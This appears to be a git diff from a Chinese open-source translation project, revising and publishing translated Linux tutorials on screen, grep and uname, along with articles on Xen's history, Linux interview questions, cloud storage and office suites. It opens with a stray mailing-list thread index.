Timesdeal - aptitude misconfigure? - Glenn English - Choosing Debian version or derivative to run Wine when resource poor - Chris Bannister - Zenaan Harkness - Curt - Tom H - Richard Owlett - Ralf Mardorf - Rob Owens ### 19.screen 命令 ### -**screen**命令能断开一个会话下的一个长时间运行的进程并能再次连接,如有需要,也提供了灵活的可执行命令 +**screen**命令能断开一个会话下的一个长时间运行的进程并能再次连接,如有需要,也提供了灵活的命令选项 -要运行一个长时间的进程,我们通常执行 +要运行一个长时间的进程,我们通常执行 avi@localhost:~$ ./long-unix-script.sh -缺乏灵活性,需要用户持续当前的会话,但是如果我们执行上面的命令是. +缺乏灵活性,需要用户持续当前的会话,但是如果我们执行上面的命令是: avi@localhost:~$ screen ./long-unix-script.sh -它能在不同会话间断开或重连.当一个命令正在执行时按“**Ctrl + A**”然后再按“**d”** 执行**断开**.重新连接运行. +它能在不同会话间断开或重连。当一个命令正在执行时按“**Ctrl + A**”然后再按“**d**”来**断开**。 + +重新连接运行: avi@localhost:~$ screen -r 4980.pts-0.localhost -**注解**:在这里,这个命令的最后部分是**screen id**,你能用‘**screen -ls**‘命令查看.欲了解更多关于**screen命令**和它们的用法,请阅读我们的一些帮助文章[10 个screen命令的示例][4]. +**注解**:在这里,这个命令的稍后的部分是**screen id**,你能用‘**screen -ls**’命令查看。欲了解更多关于**screen命令**和它们的用法,请阅读我们的一些帮助文章:[10 个screen命令的示例][4]。 ### 20. file ### -No!写上面的命令不是笔误. ‘**file**‘是一个能提供关于文件类型信息的命令. +No!写上面的命令不是笔误. ‘**file**’是一个能提供关于文件类型信息的命令。 avi@localhost:~$ file 34.odt - 34.odt: OpenDocument Text ### 21. id ### -上面的命令会打印真正的和有效的**用户**和**组**的id. +上面的命令会打印真正的和有效的**用户**和**组**的id。 avi@localhost:~$ id -**Sample Output** +**输出样式** uid=1000(avi) gid=1000(avi) - groups=1000(avi),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth),117(scanner) -到此为止.鉴于这个系列的最新的这篇文章的成功,我将会尽快推出另外几部分文章继续**鲜为人知的Linux命令**.到时候,敬请关注Tecmint.不要忘记给我们提供你的**反馈**和**评论**. +到此为止,鉴于这个系列的最新的这篇文章的成功,我将会尽快推出另外几部分文章继续**鲜为人知的Linux命令**。到时候,敬请关注Tecmint.不要忘记给我们提供你的**反馈**和**评论**。 -------------------------------------------------------------------------------- via: http://www.tecmint.com/10-lesser-known-linux-commands-part-2/ -译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID) +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 -[1]:http://www.tecmint.com/11-lesser-known-useful-linux-commands/ +[1]:http://linux.cn/article-2258-1.html [2]:http://www.searchsv.com.cn/showcontent_77595.htm [3]:http://www.tecmint.com/history-command-examples/ [4]:http://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ diff --git a/published/10 Things To Do After Installing Ubuntu 13.10.md b/published/201311/10 Things To Do After Installing Ubuntu 13.10.md similarity index 100% rename from published/10 Things To Do After Installing Ubuntu 13.10.md rename to published/201311/10 Things To Do After Installing Ubuntu 13.10.md diff --git a/published/201311/10 Years of Xen--Transforming a Dinosaur Into a Bird.md b/published/201311/10 Years of Xen--Transforming a Dinosaur Into a Bird.md new file mode 100644 index 0000000000..1917e64f82 --- /dev/null +++ b/published/201311/10 Years of Xen--Transforming a Dinosaur Into a Bird.md @@ -0,0 +1,50 @@ +Xen的十年:从恐龙进化到鸟类 +================================================================================ +Xen Hypervisor 项目原来是上世纪90年代末[剑桥大学][1] [Xenoserver][2] 项目的子项目。Xenoserver 有一个宏大的目标: + +这个宏大目标就是建立一个大规模的分布式计算系统的公共基础框架。想像一下,当 Xenoserver 执行平台布署在全世界范围内,所有人都可以共享可执行代码,代码贡献者可以按代码被执行时产生的硬件消耗收取一定的费用。这将会鼓励负载均衡、消除单点瓶颈,甚至可以在这个平台上实现营利。 + +在今天,这种模式被称为“云计算”。而 Xen Hypervisor (确切来说是现在的 Xen Hypervisor)是最大的云平台。不仅亚马逊 Web 服务(AWS)和 Rackspace 公有云是基于 Xen 的,就连最近的大规模云平台[Verizon公有云][3]也将 Xen 作为他们的服务供应基础。 + +### 10周岁生日快乐 ### + +2003年10月21日,Xen Hypervisor 在[第19届 ACM 计算机原理研讨会][4]上作为一个开源项目首次出现在大众眼前。距今已经10年,在这里祝 Xen 项目生日快乐! + +### 业界第一的劣势:像恐龙一样,不适者淘汰 ### + +有时候在自己领域内成为第一个开源项目是一个劣势,为什么这样说?缺少与同行的交流会导致项目失去控制。简单的例子是,缺乏竞争会引发自满情绪,而这种情况已经在 Xen 项目内部发生了!开始几年 Xen 项目未受到任何约束,变得狭隘,不再寻求突破,致使用户和开发者不再对它感兴趣。当它的第一个竞争对手 KVM 出现并壮大,Xen 社区甚至对此反应迟缓。 + +这种反应带来的后果是,用户难以加入这个项目,并且这个项目不能很好地与 Linux 内核、QEMU及 Linux 发布版共处。然后,Xen 社区名声变坏。然后,Canonical 和 RedHat 抛弃 Xen,投向 KVM 怀抱。Xen 项目向这个不断改变的世界宣告了自己的失败。名声不断变臭,到后来它被视为开源社区界的恐龙,被彻底淘汰只是时间问题。 + +### 快速转型:从恐龙进化到鸟类 ### + +像 Xen 一样能够从众多错误中回过神来的开源项目并不多,而 Xen 通过一系列措施做到了这一点。提出有效的管理方法、努力与其他开源项目合作、重启市场营销力量、踏踏实实与用户和开发者一起工作,这些努力终于让 Xen 获得新生。换句话说,Xen 已经完成从恐龙到鸟类的进化。如果你想知道我们是如何做到这点的,何不加入到我的 Linux 大会欧洲站的课题[Xen 项目:收获的教训][5]?其他你可能感兴趣的课题还有[加强你的 Xen 云的安全][6]和[Xen:专为云设计的开源虚拟机管理程序][7]。 + +![](http://www.linux.com/images/stories/41373/Xen-flying-Panda.jpg) + +*展翅高飞(或者说,给 Xen 这只行动缓慢的熊猫插上翅膀)* + +### 展望未来:虚拟化技术的新领域 ### + +如果你正在搜索 Xen 项目,你会发现它的社区形式多样并且还在发展。从很多方面来说,它甚至比从前巅峰时期发展得更好。 + +现在 Xen 社区正在发生一些有意思的事情,一些 Xen 项目下的软件被用于非传统虚拟化技术。这也相应地为 Linux 社区增加了企业用户。在本周晚些时候开始的[Xen 项目开发者峰会][8]中我们将会见到两个安卓虚拟机如何运行在基于 Xen 的 Nexus 10 中,也会见到首次将 Xen 用于车载信息娱乐系统以及汽车应用系统中,同时我们还能见到 Xen 如何为诸如防火墙和NAT服务器这些中间体提供高性能应用。 + +当然,服务器虚拟化和云计算还有很长的路要走。展翅高飞吧(或者说,给 Xen 这只行动缓慢的熊猫插上翅膀)。 + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/enterprise/cloud-computing/743330-10-years-of-xen-transforming-a-dinosaur-into-a-bird/ + +译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.cl.cam.ac.uk/research/srg/netos/xen/index.html +[2]:http://www.cl.cam.ac.uk/research/srg/netos/xeno/ +[3]:http://www.techweekeurope.co.uk/news/verizon-public-cloud-launch-128724 +[4]:http://www.cs.rochester.edu/meetings/sosp2003/papers.shtml +[5]:http://linuxconcloudopeneu2013.sched.org/event/68003c370760bcc2da7e3e8b59b6b50f +[6]:http://linuxconcloudopeneu2013.sched.org/event/37ecfe02561cf264a02061d1927da26c +[7]:http://linuxconcloudopeneu2013.sched.org/event/bdca1274d9799646cdf2934dbde94ccd +[8]:http://www.linux.com/news/software/applications/742053-a-great-line-up-of-speakers-at-xen-project-developer-summit diff --git a/published/201311/11 Basic Linux Interview Questions and Answers.md b/published/201311/11 Basic Linux Interview Questions and Answers.md new file mode 100644 index 0000000000..4f60cf61ef --- /dev/null +++ b/published/201311/11 Basic Linux Interview Questions and Answers.md @@ -0,0 +1,89 @@ +11个Linux基础面试问题 +================================================================================ + +### Q.1: Linux 操作系统的核心是什么? ### +- Shell +- Kernel +- Command +- Script +- Terminal + +> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器,命令(Command)是针对计算机的指令,脚本(Script)是存储在文件中的命令的集合,终端(Termial)是命令行接口。 + +### Q.2: Linus Torvalds 都创建过什么东东? ### +- Fedora +- Slackware +- Debian +- Gentoo +- Linux + +> **答**: Linux Torvalds 创建了Linux,Linux是所有上述操作系统的核心,同样也是其他一些Linux 操作系统的核心。 + +### Q.3: Torvalds,使用C++语言编写了Linux内核的大部分代码,是这样吗? ### + +> **答**: 不! Linux内核包含了12,020,528行代码,其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。 + +剩下的1,972,615行则是使用C++,汇编,Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。 + +**注**:代码行数每天都在变动,平均每天超过3,509行代码添加到内核。 + +### Q.4: 起初,Linux 是为 Intel X86 架构编写的,但是后来比其他操作系统移植的硬件平台都多,是这样吗 ? ### + +> **答**: 是的,我同意。Linux那时候是为x86机器写的,而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着,远程遥控,太空科学,研究,Web,桌面计算等等,举之不尽。 + +### Q.5: 编辑 Linux 内核合法吗? ### + +> **答**: 是的,内核基于GPL发布,任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件(FOSS)。 + +### Q.6: UNIX和Linux操作系统,本质上的不同在哪里?### + +> **答**: Linux操作系统属于免费开源软件,内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件(FOSS)无关,BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 Apple,IBM,Oracle,HP等,都在为UNIX内核贡献代码。 + +### Q. 7: 挑出来一个与众不同的来. ### +- HP-UX +- AIX +- OSX +- Slackware +- Solaris + +> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的,并且都是UNIX的变种. Slackware 则是一个Linux操作系统. + +### Q.8: Linux 不会感染病毒吗? ### + +> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称,是的,甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个,而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。 + +### Q.9: Linux 属于哪种类型的操作系统? ### +- 多用户 +- 多任务 +- 多线程 +- 以上所有 +- 以上都不是 + +> **答** : 以上所有。Linux是一个支持多用户,可以同时运行多个进程执行多个任务的操作系统。 + +### Q.10: 一般的 Linux 命令的语法格式是: ### +- command [选项] [参数] +- command 选项 [参数] +- command [选项] [参数] +- command 选项 参数 + +> **答** : Linux 命令的正确语法是, Command [选项] [参数]。 + +### Q.11: 挑出来一个与众不同的来. ### + +- Vi +- vim +- cd +- nano + +> **答** : cd 与其他命令不同。Vi,vim和 nano都是编辑器,用于编辑文档,而cd是用于切换目录的命令。 + +就这么多了。上述问题你学到手几个?效果如何?我们期待着你的评论。下周,会有新的问题,让我们拭目以待。保持健康,锁定链接,记得来**Tecmint**哦。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/ + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/translated/12 Practical Examples of Linux grep Command.md b/published/201311/12 Practical Examples of Linux grep Command.md similarity index 62% rename from translated/12 Practical Examples of Linux grep Command.md rename to published/201311/12 Practical Examples of Linux grep Command.md index a314744657..1f4a6a5f3b 100644 --- a/translated/12 Practical Examples of Linux grep Command.md +++ b/published/201311/12 Practical Examples of Linux grep Command.md @@ -1,12 +1,10 @@ Linux中grep命令的12个实践例子 === -你是否遇到过需要在文件中查找一个特定的字符串或者模式的任务,但是仍然不知道从哪开始?这儿是一些**grep**的例子可以给你帮助。 +你是否遇到过需要在文件中查找一个特定的字符串或者样式,但是不知道从哪儿开始?那么,就请**grep**来帮你吧。 ![](http://www.tecmint.com/wp-content/uploads/2013/11/Grep-Command-Examples.png) -*12个grep命令的例子* - -**grep**是每个**Linux**发行版都预装的一个强有力文件匹配搜索工具。无论何种原因,如果你的系统没有预装它的话,你可以很容易的通过你系统的包管理器来安装它(**Debian/Ubuntu**系中的**apt-get**和**RHEl/CentOS/Fedora**系中的**yum**)。 +**grep**是每个**Linux**发行版都预装的一个强有力的文件模式搜索工具。无论何种原因,如果你的系统没有预装它的话,你可以很容易的通过系统的包管理器来安装它(**Debian/Ubuntu**系中的**apt-get**和**RHEl/CentOS/Fedora**系中的**yum**)。 $ sudo apt-get install grep #Debian/Ubuntu @@ -16,7 +14,7 @@ Linux中grep命令的12个实践例子 ###1.搜索和寻找文件 -假设你已经在你的电脑上安装了一个全新的**Ubuntu**,你打算卸载**Python**。你浏览网页寻找教程,但是你发现存在两个不同版本的**Python**在使用,而你不知道你的**Ubuntu**安装器到底在你的系统中安装了哪个版本的Python,也不知道它安装了哪些模块。解决这个烦恼只需简单的运行以下命令: +假设你已经在你的电脑上安装了一个全新的**Ubuntu**,然后你打算卸载**Python**。你浏览网页寻找教程,但是你发现存在两个不同版本的**Python**在使用,而你不知道你的**Ubuntu**安装器到底在你的系统中安装了哪个版本的Python,也不知道它安装了哪些模块。解决这个烦恼只需简单的运行以下命令: $ sudo dpkg -l | grep -i python @@ -26,17 +24,17 @@ Linux中grep命令的12个实践例子 ii python-openssl 0.12-1ubuntu2.1 Python wrapper around the OpenSSL library ii python-pam 0.4.2-12.2ubuntu4 A Python interface to the PAM library -首先,我们运行**dpkg -l**列出你系统上安装的**.deb**包。接着,我们使用管道将输出结果传输给命令**grep -i** python,这一步可以简单解释为把结果传输给grep然后过滤出所有含有python的项,并返回结果。只要你不打算详细的指定搜索方式,那么使用选项**-i**是个好习惯。 +首先,我们运行**dpkg -l**列出你系统上安装的**.deb**包。接着,我们使用管道将输出结果传输给命令**grep -i** python,这一步可以简单解释为把结果传输给grep然后过滤出所有含有python的项,并返回结果。–i选项用于忽略大小写,因为 grep 是大小写敏感的。使用选项**-i**是个好习惯,除非你打算进行更细节的搜索。 ###2.搜索和过滤文件 -grep还可以在一个或多个文件夹里用于搜索和过滤。让我们来看一个这样的情景: +grep还可以在一个或多个文件里用于搜索和过滤。让我们来看一个这样的情景: -你的**Apache网页服务器**出现了问题,你不得不从许多专业网站找一个发帖询问。好心的回复你的人会让你粘贴你的**/etc/apache2/sites-available/default-ssl**文件。网友帮助了你,而假如你能移除掉所有的注释行,那么今后大家都能阅读到这个解决方案,这对你来说会会困难吗?你当然可以很容易的做到!只需这样做就可以了: +你的**Apache网页服务器**出现了问题,你不得不从许多专业网站里找一个发帖询问。好心回复你的人让你粘贴上来你的**/etc/apache2/sites-available/default-ssl**文件内容。假如你能移除掉所有的注释行,那么对你,对帮你的人,以及所有阅读该文件的人,不是更容易发现问题吗?你当然可以很容易的做到!只需这样做就可以了: $ sudo grep -v "#" /etc/apache2/sites-available/default-ssl -选项**-v**是告诉**grep**命令反转它的输出结果,意思就是不输出匹配的项,做相反的事,打印出所有不匹配的项。这个例子中,有**#**的是注释行。 +选项**-v**是告诉**grep**命令反转它的输出结果,意思就是不输出匹配的项,做相反的事,打印出所有不匹配的项。这个例子中,有**#**的是注释行(译注:其实这个命令并不准确,包含“#”的行不全是注释行。关于如何精确匹配注释行,可以了解更多的关于正则表达式的内容。)。 ###3.找出所有的mp3文件 @@ -50,21 +48,23 @@ grep还可以在一个或多个文件夹里用于搜索和过滤。让我们来 ###4.在搜索字符串前面或者后面显示行号 -另外两个选项是-A和-B之间的切换,是用以显示匹配的行以及行号,分别控制在字符串前或字符串后显示。Man页给出了更加详细的解释,我发现一个记忆的小窍门:-A=after、-B=before。 +另外两个选项是-A和-B之间的切换,是用以显示匹配的行以及行号,分别控制在字符串前或字符串后显示的行数。Man页给出了更加详细的解释,我发现一个记忆的小窍门:-A=after、-B=before。 $ sudo ifconfig | grep -A 4 etho $ sudo ifconfig | grep -B 2 UP ###5.在匹配字符串周围打印出行号 -grep命令的**-C**选项和例4中的很相似,不过打印的行号并不是在匹配字符串的前面或后面而是而是按照顺序打印出匹配的行: + +grep命令的**-C**选项和例4中的很相似,不过打印的并不是在匹配字符串的前面或后面的行,而是打印出两个方向都匹配的行(译注:同上面的记忆窍门一样:-C=center,以此为中心): $ sudo ifconfig | grep -C 2 lo ###6.计算匹配项的数目 + 这个功能类似于将**grep**输出的结果用管道传送给计数器(**wc**程序),grep内建的选项可以达到同样的目的: $ sudo ifconfig | grep -c inet6 -###7.通过给定字符串搜索文件 +###7.按给定字符串搜索文件中匹配的行号 当你在编译出错时需要调试时,**grep**命令的**-n**选项是个非常有用的功能。它能告诉你所搜索的内容在文件的哪一行: @@ -72,12 +72,12 @@ grep命令的**-C**选项和例4中的很相似,不过打印的行号并不是 ###8.在所有目录里递归的搜索 -假若你要在当前文件夹里搜索一个东西,而当前文件夹里又有很多子目录,你可以指定一个**-r**选项以便于递归的搜索: +假若你要在当前文件夹里搜索一个字符串,而当前文件夹里又有很多子目录,你可以指定一个**-r**选项以便于递归的搜索: $ sudo grep -r "function" * -###9.进行完全匹配搜索 +###9.进行精确匹配搜索 -传递**-w**选项给grep命令可以在字符串中进行完全匹配搜索。例如,向下面这样输入: +传递**-w**选项给grep命令可以在字符串中进行精确匹配搜索(译注:包含要搜索的单词,而不是通配)。例如,像下面这样输入: $ sudo ifconfig | grep -w “RUNNING” @@ -89,30 +89,29 @@ grep命令的**-C**选项和例4中的很相似,不过打印的行号并不是 ###10.在Gzip压缩文件中搜索 -我们还要关注一下grep的衍生应用。第一个是**zgrep**,这个与**zcat**很相似,可以用于在**gzip**压缩过的文件中进行搜索。它有与**grep**相似的命令,使用方式也一样: +我们还要关注一下grep的衍生应用。第一个是**zgrep**,这个与**zcat**很相似,可以用于**gzip**压缩过的文件。它有与**grep**相似的命令选项,使用方式也一样: $ sudo zgrep -i error /var/log/syslog.2.gz ###11.在文件中匹配正则表达式 -**egrep**是另一个衍生应用,代表着“**扩展全局正则表达式**”。它可以识别更多的正则表达式元字符,例如**at + ?** | 和**()**。在搜索源代码文件时,egrep是一个非常有用的工具,还有其他的一些零碎代码文件的搜索需要,使得这样的搜索能力成为必需。也可以grep命令中指定选项**-E**来获得加强正则表达式搜索的能力。 +**egrep**是另一个衍生应用,代表着“**扩展全局正则表达式**”。它可以识别更多的正则表达式元字符,例如**at + ?** | 和**()**。在搜索源代码文件时,egrep是一个非常有用的工具,还有其他的一些零碎代码文件的搜索需要,使得这样的搜索能力成为必需。可以在grep命令中使用选项**-E**来启用它。 $ sudo grep -E ###12.搜索一个固定匹配字符串 -**fgrep**用以在一个文件或文件列表中搜索固定匹配的字符串。功能与**grep -F**同。**fgrep**的一个通常用法为传递一个含有匹配字符串的文件给它: +**fgrep**用于在一个文件或文件列表中搜索固定样式的字符串。功能与**grep -F**同。**fgrep**的一个通常用法为传递一个含有样式的文件给它: $ sudo fgrep -f file_full_of_patterns.txt file_to_search.txt -这仅仅是**grep**命令的开始,但是你可能已经注意到,它对于实现各种各样的目的简直是太有用了。除了这种我们实施的只有一行的命令,**grep**还可以写成**cron**任务或者自动的**shell脚本**去执行。保持好奇心,试验一下**man页**的各个选项,为实现你的目的写出一些**grep表达式**。 +这仅仅是**grep**命令的开始,你可能已经注意到,它对于实现各种各样的需求简直是太有用了。除了这种我们运行的这种只有一行的命令,**grep**还可以写成**cron**任务或者自动的**shell脚本**去执行。保持好奇心,试验一下**man页**的各个选项,为实现你的目的写出一些**grep表达式**吧。 --- - via: http://www.tecmint.com/12-practical-examples-of-linux-grep-command/ -译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID) +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/translated/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md b/published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md similarity index 85% rename from translated/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md rename to published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md index 7fdcc8c29b..e1716a1cd8 100644 --- a/translated/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md +++ b/published/201311/3 Ways to Access And Use Cloud Storage (SkyDrive etc.) In Linux.md @@ -7,7 +7,7 @@ ![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_ubuntu_one.jpg) -使用这种方式的明显好处就是你可以通过使用他们各自的官方应用访问你的各种云存储。目前,提供官方Linux客户端的服务提供商有[SpiderOak](1), [Dropbox](2), [Ubuntu One](3),[Copy](5)。[Ubuntu One](3)虽不出名但的确是[一个不错的云存储竞争着](4)。[Copy][5]是提供比Dropbox更多空间,是[Dropbox的替代选择](6)。使用这些官方Linux客户端可以保持你的电脑与他们的服务器之间的通信,还可以让你进行属性设置,如选择性同步。 +使用这种方式的明显好处就是你可以通过使用他们各自的官方应用访问你的各种云存储。目前,提供官方Linux客户端的服务提供商有[SpiderOak](1), [Dropbox](2), [Ubuntu One](3),[Copy](5)。[Ubuntu One](3)虽不出名但的确是[一个不错的云存储竞争着](4)。[Copy][5]则提供比Dropbox更多的空间,是[Dropbox的替代选择之一](6)。使用这些官方Linux客户端可以保持你的电脑与他们的服务器之间的通信,还可以让你进行属性设置,如选择性同步。 对于普通桌面用户,使用官方客户端是最好的选择,因为官方客户端可以提供最多的功能和最好的兼容性。使用它们也很简单,只需要下载他们对应你的发行版的软件包,然后安装安装完后在运行一下就Ok了。安装客户端时,它一般会指导你完成这些简单的过程。 @@ -27,7 +27,7 @@ 这些一旦完成,你就可以这个脚本执行各种任务了,例如上传、下载、删除、移动、复制、创建文件夹、查看文件、共享文件、查看文件信息和取消共享。对于全部的语法解释,你可以查看一下[这个页面](9)。 -###[Storage Made Easy](7)将SkyDrive带到Linux上 +###通过[Storage Made Easy](7)将SkyDrive带到Linux上 微软并没有提供SkyDrive的官方Linux客户端,这一点也不令人惊讶。但是你并不意味着你不能在Linux上访问SkyDrive,记住:SkyDrive的web版本是可用的。 @@ -35,11 +35,11 @@ ![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_configure_skydrive.jpg) -为了使用Stroage Made Easy,你首先需要创建一个他们的账号。完成账号创建后,你需要回到控制界面,选择“Add a Cloud Provider”。在这儿,你可以选择SkyDrive API 然后填入登陆信息。添加完登陆信息后,点击授权按钮以便给予必要的授权。然后,你就可以下载它的Linux客户端并安装它了。 +为了使用Stroage Made Easy,你首先需要创建一个他们的账号。完成账号创建后,你需要回到控制界面,选择“Add a Cloud Provider”。在这儿,你可以选择SkyDrive API 然后填入登录信息。添加完登录信息后,点击授权按钮以便给予必要的授权。然后,你就可以下载它的Linux客户端并安装它了。 ![](http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/10/linux_accessing_cloud_storagemadeeasy.jpg) -第一次启动时。它会要求你登陆,还有询问你要把云存储挂载到什么地方。在你做完了这些后,你就可以浏览你选择的文件夹,你还可以访问你的Storage Made Easy空间以及你的SkyDrive空间了!这种方法对于那些想在Linux上使用SkyDrive的人来说非常好,对于想把他们的多个云存储服务整合到一个地方的人来说也很不错。这种方法的缺点是你无法使用他们各自官方客户端中可以使用的特殊功能。 +第一次启动时。它会要求你登录,还有询问你要把云存储挂载到什么地方。在你做完了这些后,你就可以浏览你选择的文件夹,你还可以访问你的Storage Made Easy空间以及你的SkyDrive空间了!这种方法对于那些想在Linux上使用SkyDrive的人来说非常好,对于想把他们的多个云存储服务整合到一个地方的人来说也很不错。这种方法的缺点是你无法使用他们各自官方客户端中可以使用的特殊功能。 因为现在在你的Linux桌面上也可以使用SkyDrive,接下来你可能需要阅读一下我写的[SkyDrive与Google Drive的比较](8)以便于知道究竟哪种更适合于你。 @@ -51,7 +51,9 @@ --- -译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID) +via: http://www.makeuseof.com/tag/3-ways-to-access-and-use-cloud-storage-skydrive-etc-in-linux/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/9 Linux Uname Command Examples To Get Operating System Details.md b/published/201311/9 Linux Uname Command Examples To Get Operating System Details.md new file mode 100644 index 0000000000..7d0a7cced8 --- /dev/null +++ b/published/201311/9 Linux Uname Command Examples To Get Operating System Details.md @@ -0,0 +1,116 @@ +九个uname命令获取Linux系统详情的实例 +================================================================================ + +当你在控制台模式下,无法通过“鼠标右键 > 关于”获取操作系统的信息。这时,在Linux下,你可以使用**uname**命令,帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。 + +当你输入uname不带参数时,它仅仅显示你的操作系统的名字。 + + # uname + + Linux + +也许这还不能满足你的需要。所以你需要加上一些参数,来使uname显示你所需要的信息。 + +以下是uname参数的列表: + +### 1. 内核名称 ### + +你可以用**-s**参数,显示内核名称。(译注:可以在其他的类Unix系统上运行这个命令看看,比如mac就会显示Darwin) + + # uname -s + + Linux + +输出信息会跟uname不带参数时输出的一样。 + +### 2. 内核发行版 ### + +如果你想知道你正在使用哪个内核发行版(指不同的内核打包版本),就可以用**-r**参数 + + # uname -r + + 2.6.18-371.1.2.el5 + +### 3. 内核版本 ### + +除一些内核信息外,用**-v**参数uname也能获取更详细的内核版本信息(译注:不是版本号,是指该内核建立的时间和CPU架构等)。 + + # uname -v + + #1 SMP Tue Oct 22 12:57:43 EDT 2013 + +### 4. 节点名 ### + +参数 -n 会提供给你节点的主机名。举例来说,如果你的主机名是“dev-machine”,**-n**参数就会把主机名打印出来。 + + # uname -n + + dev-machine + +对于RedHat和CentOS用户来说,你也可以通过**/etc/redhat_release**文件来查看: + + # cat /etc/redhat_release + + CentOS release 5.10 (Final) + +如果不是基于RedHat的发行版,你可以查看**/etc/issue**文件.类似如下: + + # cat /etc/issue + + Linux Mint Olivia \n \l: + +### 5.硬件名称 ### + +如果你想知道用的是哪类机器,你可以尝试**-m**参数。它将告诉你关于硬件的信息。 + + # uname -m + + i686 + +i686表明了你用的是32位的操作系统,如果是X86_64则表明你用的是64位的系统。 + +### 6. 硬件平台 ### + +与硬件名称类似,-i参数会显示你的硬件平台(译注:硬件名称i686是属于硬件平台i386系列的)。 + + # uname -i + + i386 + +同样,i386意味这是正在运行一个32位的系统,如果输出的是X86_64则说明你正在运行一个64位的系统。 + +### 7. 处理器类型 ### + +你可以用**-p**参数查看处理器类型。如果uname无法识别,它会显示 ‘unknown’ 作为输出。 + + # uname -p + + i686 + +### 8. 操作系统 ### + +uname也可以透露你正在运行的操作系统信息,用**-o**参数可以实现这个目的。 + + # uname -o + + GNU/Linux + +### 9. 所有信息 ### + +有一个参数可以展示所有的信息!这就是**-a**参数,它会显示所有信息。如果**-i和-p**输出为unknown则默认会被省略。 + + # uname -a + + Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux + +以上就是关于uname命令的使用。请敬请期待更多的命令! + +谢谢阅读! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/uname-command/ + +译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201311/Apache OpenOffice vs. LibreOffice.md b/published/201311/Apache OpenOffice vs. LibreOffice.md new file mode 100644 index 0000000000..6870f2b878 --- /dev/null +++ b/published/201311/Apache OpenOffice vs. LibreOffice.md @@ -0,0 +1,79 @@ +Apache OpenOffice 与 LibreOffice 之间的抉择 +================================================================================ +> 这两个开源办公套件产品很相似,然而某一个貌似已经开始具有轻微的领先优势…… + +[Apache OpenOffice][1]和[LibreOffice][2]都是OpenOffice.org的现代衍生产品。最近几年,几乎所有的Linux发行版都将LibreOffice作为它们的默认办公套件。然而,过去18个月来,OpenOffice作为Apache项目又重新回到了人们的视线,对于这两款全功能办公套件,现在,自由软件用户可以进行二选一咯~ + +然而即使是用户,在两种几乎一样的选择中做决定也会有困难。三年前,这哥儿俩分了家,三年时间,这对于软件开发来说是很长的一段时间,即使是这样,OpenOffice和LibreOffice之间的不同却刚刚开始显现。除去那些明显已经去掉的过时特性,单说功能集合与基本逻辑,自从OpenOffice.org时代以来,这两者都几乎没有什么大的改变。 + +纵观整个套件,只有个别应用里能发现一些新功能,主要集中在Writer的文字处理方面。其实,它们两者之间的大部分区别主要存在于更高的层面,例如对格式和字体的支持、对插件扩展的政策等,更多的不同,则体现在是否紧跟时代,以及对标准化接口的努力程度上。 + +###具体各程序间的区别### + 